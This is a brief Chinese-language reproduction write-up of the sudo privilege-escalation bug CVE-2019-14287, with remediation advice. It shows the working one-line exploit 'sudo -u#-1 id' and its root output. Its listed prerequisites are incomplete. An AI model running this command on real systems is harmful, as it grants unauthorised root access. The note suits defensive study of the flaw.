[漏洞復現]CVE-2019-14287 sudo提權漏洞

漏洞描述

2019年10月14日，CVE官方發佈了CVE-2019-14287的漏洞預警。經過特定payload，用戶可提高至root權限。
利用前提

1. sudo -v < 1.8.28
2. 知道當前用戶的密碼
3. 當前用戶存在於sudo權限列表

漏洞復現

mark@mark-Pc:~$ id
uid=1000(mark) gid=1000(mark) 組=1000(mark),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
mark@mark-Pc:~$ sudo -u#-1 id
[sudo] mark 的密碼： 
uid=0(root) gid=1000(mark) 組=1000(mark)

修復建議

1. 升級sudo到1.8.28版本
2. 作好sudo用戶列表管理